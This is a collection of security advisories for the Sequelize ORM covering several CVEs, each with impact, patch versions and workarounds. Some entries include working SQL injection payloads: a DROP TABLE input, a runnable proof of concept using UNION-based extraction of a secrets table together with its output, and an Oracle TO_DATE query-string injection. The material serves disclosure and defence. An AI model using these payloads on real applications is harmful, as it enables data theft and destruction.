Sequelize vulnerable to SQL Injection via replacements

CVE-2023-25813 / GHSA-wrh9-cjv3-2hpw

More information

Details

Impact

The SQL injection exploit is related to replacements. Here is such an example:

In the following query, some parameters are passed through replacements, and some are passed directly through the where option.

User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

This is a very legitimate use case, but this query was vulnerable to SQL injection due to how Sequelize processed the query: Sequelize built a first query using the where option, then passed it over to sequelize.query which parsed the resulting SQL to inject all :replacements.

If the user passed values such as

{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

Sequelize would first generate this query:

SELECT * FROM users WHERE soundex("firstName") = soundex(:firstName) OR "lastName" = ':firstName'

Then would inject replacements in it, which resulted in this:

SELECT * FROM users WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') OR "lastName" = ''OR true; DROP TABLE users;''

As you can see this resulted in arbitrary user-provided SQL being executed.

Patches

The issue was fixed in Sequelize 6.19.1

Workarounds

Do not use the replacements and the where option in the same query if you are not using Sequelize >= 6.19.1

Sequelize information disclosure vulnerability

CVE-2023-22580 / GHSA-8c25-f3mj-v6h8

Due to improper input filtering in the sequelize js library, can malicious queries lead to sensitive information disclosure.

Unsafe fall-through in getWhereConditions

CVE-2023-22579 / GHSA-vqfx-gj96-3w95

More information

Details

Impact

Providing an invalid value to the where option of a query caused Sequelize to ignore that option instead of throwing an error.

A finder call like the following did not throw an error:

User.findAll({
  where: new Date(),
});

As this option is typically used with plain javascript objects, be aware that this only happens at the top level of this option.

Patches

This issue has been patched in sequelize@6.28.1 & @sequelize/core@7.0.0.alpha-20

Sequelize - Default support for “raw attributes” when using parentheses

CVE-2023-22578 / GHSA-f598-mfpv-gmfx

More information

Details

Impact

Sequelize 6.28.2 and prior has a dangerous feature where using parentheses in the attribute option would make Sequelize use the string as-is in the SQL

User.findAll({
  attributes: [
    ['count(id)', 'count']
  ]
});

Produced

SELECT count(id) AS "count" FROM "users"
Patches

This feature was deprecated in Sequelize 5, and using it prints a deprecation warning.

This issue has been patched in @sequelize/core@7.0.0.alpha-20 and sequelize@6.29.0.

In Sequelize 7, it now produces the following:

SELECT "count(id)" AS "count" FROM "users"

In Sequelize 6, it throws an error explaining that we had to introduce a breaking change, and requires the user to explicitly opt-in to either the Sequelize 7 behavior (always escape) or the Sequelize 5 behavior (inline attributes that include () without escaping). See https://github.com/sequelize/sequelize/pull/15710 for more information.

Mitigations

Do not use user-provided content to build your list or attributes. If you do, make sure that attribute in question actually exists on your model by checking that it exists in the rawAttributes property of your model first.

Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

CVE-2026-30951 / GHSA-6457-6jrx-69cr

More information

Details

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}
PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]
Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Sequelize: SQL Injection (Oracle DB)

CVE-2026-69240 / GHSA-v8fg-2rw7-q452

More information

Details

Summary

SQL Injection is possible with strings only if dialect is set to oracle.
The vulnerability was confirmed on Sequelize v6.37.3.

Details

The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

  } else if (dialect === 'oracle' && typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }
PoC

Suppose the application has the following code:

  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact

Data theft and tampering.
